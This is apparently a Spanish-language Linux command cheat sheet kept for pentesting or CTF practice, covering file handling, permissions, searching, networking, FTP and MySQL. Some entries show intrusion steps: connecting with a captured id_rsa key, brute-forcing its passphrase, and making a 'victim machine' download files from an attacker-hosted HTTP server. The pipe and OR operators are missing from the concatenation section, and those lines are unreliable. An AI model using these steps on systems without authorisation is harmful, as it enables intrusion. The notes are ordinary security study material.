Indice

Recolectar información

* uname -r -a (system y kernel)
* hostname
* hostname -I (IP)
* arp -a (tabla arp)
* whoami (usuario actual)
* id (grupo al que pertenece usuario actual)
* ps -aux (procesos)
* top (procesos en tiempo real)
* bg (ver procesos en 2º plano)
* pwd (ver directorio en el que estamos situados)
* last (ultimos logins)
* df -h (ver espacio libre en el sistema)
* fdisk -l (ver particiones y tipos)
* watch ls -la /bin/bash (ver si un binario cambia sus permisos cuando hay una tarea cron para ello)

usuarios y grupos

* groupadd [grupo]
* adduser [usuario]
* usermod [usuario]
  * -d [directorio] (especificar home)
  * -g [grupo] (especificar grupo)
  * -p [pass] (especificar contraseña)
  * -s [shell] (especificar la shell)
  * -m [directorio] (mover directorio home) (solo se puede usar con -d)

Ficheros

* cd [directorio] (cambiar directorio)
* ls [directorio] (listar directorio)
  * -l (formato largo)
  * -a (archivos ocultos)
  * -R (listado recursivo)
* tree (ver arbol de ficheros)
* mv [fichero] (mover, renombrar)
* cp [fichero1] [fichero2] (copiar)
* rm [fichero] (eliminar)
  * -r (recursivamente)
  * -f (forzar)
* ln -s [fichero] [enlace] (link simbolico)

Permisos en ficheros

* chmod 755 [fichero] (todos al propietario, leer al resto)
* chown [usuario] [fichero] (cambiar propietario)
* chown [usuario]:[grupo] [fichero] (cambiar propietario y grupo)
* chgrp [grupo] [fichero] (cambiar grupo a un fichero)

Stdin | Stdout | Stdr

0, hace referencia a la entrada (teclado) 1, hace referencia a la salida (pantalla) 2, hace referencia a la salida (errores)

* [comando] 2>/dev/null (enviar errores a dev/null)
* [comando ]&>/dev/null (enviar todo a dev/null, tanto salida como errores)
* [comando2] >&1 (enviar errores a pantalla [cuando se ejecuta programa en segundo plano])
* [comando] & (ejecutar en 2º plano)
* nohup [comando] & (ejecutar en 2º plano)
* [comando] & disown (ejecutar en 2º plano, independiente del proceso padre)

Variables Bash y alias

  • $HOME
  • $BASH
  • $SHELL
  • export $NAME=value (establece la variable de entorno al valor indicado)
  • alias [alias]=[comando] (establecer un alias al comando)

    Concatenacion

    ```bash

  • comando1 ; comando2 (ejecuta el primer comando, luego el segundo)
  • comando1 && comando2 (ejecuta el segundo, solo si el primero es exitoso)
  • comando1   comando2 (or, ejecuta el comando2 si el primero no es exitoso)
  • comando1 comando2 (envia la salida el primero, al segundo)
  • comando1 |& comando2 (envia erroes del comando1 al comando2) ```

Búsqueda

* grep [palabra](buscar lineas en fichero)
* find (buscar ficheros)
  * -name
* whereis [programa](encontrar binario)
* which [programa](como whereis)
* locate -i [directorio opcional] [name] (encontrar ficheros rapidamente)
* head [fichero] (primeras 10 lineas fichero)
* tail [fichero] (10 ultimas)
* awk '[patron] {print $numero}' [fichero] (buscar lineas que coinciden con patron)
  • EJEMPLO mas útil: ps | awk -F “:” ‘{print $2}’ (muestra la segunda columna del resultado del comando ps cuyo delimitador sea ‘:’)

    Compresion ficheros

    ```bash

  • tar -cf [file.tar] file
  • tar -xf file.tar
<a name="ssh"></a>
### conexion SSH
```bash
* ssh user@host
* ssh -p user@host (indicar puerto)

Conexion SSH con id_rsa

Teniendo el fichero id_rsa del usuario podemos realizar una conexión. En ocasiones no necesitamos contraseña. En caso de que sí, se puede intentar crackear con Ataques fuerza bruta
Importante CAMBIAR LOS PEEMISOS A 600

chmod 600 id_rsa
ssh <usuario>@<ip> -i id_rsa

Copiar ficheros con SSH por SCP

scp <origen> <destino>
"SUBIR FICHEROS" scp /home/kali/file.txt usuario@servidor:/ruta
"DESCARGAR FICHEROS" scp usuario@servidor:/file.txt /home/kali.file.txt

Networking

* ip addr show (ver ip)
* ifconfig (ver todas las interfaces)
* netstat (ver puertos a la escucha)
* wget [url] (descargar fichero desde url)
* curl -O (igual que wget)

Compartir ficheros entre maquinas

Podemos compartir ficheros con la máquina víctima montando un servidor http en python. Para ello nos posicionamos en la ruta donde tengamos el fichero y ejecutamos

python3 -m http.server 5000

El puerto 80 en ocasiones requiere permisos de root

desde la máquina víctima hacemos:

wget <http://ip_atacante/recurso>

otra opción sería

curl <http://ip_atacante/recurso> -o recurso

FTP

ftp <ip>
ftp user@ip
get <fichero>
mget *
put <fichero>

Compresion/Descompresion de ficheros

TAR

tar -xf fichero.tar "DESCOMPRIMIR"
tar -xzf archivo.tar.gz "DESCOMPRIMIR tar.gz"
tar -cf fichero.tar fichero_a_comprimir.txt "COMPRIMIR"
tar -cf fichero.tar fichero_a_comprimir1.txt fichero_a_comprimir2.txt "COMPRIMIR VARIOS"

GZIP

gzip -c documento.txt > comprimido.gz "COMPRIMIR"
gzip -d documento.gz "DESCOMPRIMIR"
gunzip documento.gz "DESCOMPRIMIR"

Regex (Expresiones regulares)

#Sustitución de caracteres
tr '\' ' '

#Eliminacion caracteres
tr -d ' ' 

#Seleccion de culumnas
EJ: imprimir columna 2
awk '{print $2}'

#Mostrar lineas distintas de
grep -v <palabra>

#No distinguir mayusculas de minusculas
grep -i

#Encontrar palabra en conjunto de archivos
grep -l <palabra> ./*

#Invertir lineas en un fichero
tac <fichero_original> >> <fichero_destino>

# Tratamiento con sed (p.e eliminar la ultima coma de una linea)
	#EXPLICACION: "s" es pra sustitución
	# ,$ hace referencia a la ultima coma
	# \n hace referencia a un salto de linea
	# hay que separar los argumentos con una "/" SIEMPRE
sed 's/,$/\n/'

SQL

# Conexion a base de datos MYSQL, ojo a como está la contraseña, no es un error. la clave va pegada al -p.

mysql -h <ip> -u <usuario> -p<contraseña>

# Ver bases de datos
show databases;

# utilizar una base de datos
use <bbdd>;

# Ver tablas de una base de datos
show tables;

# Sentencias SQL básicas
SELECT <columna/s> FROM <tabla>;
SELECT <columna/s> FROM <tabla> WHERE id=1;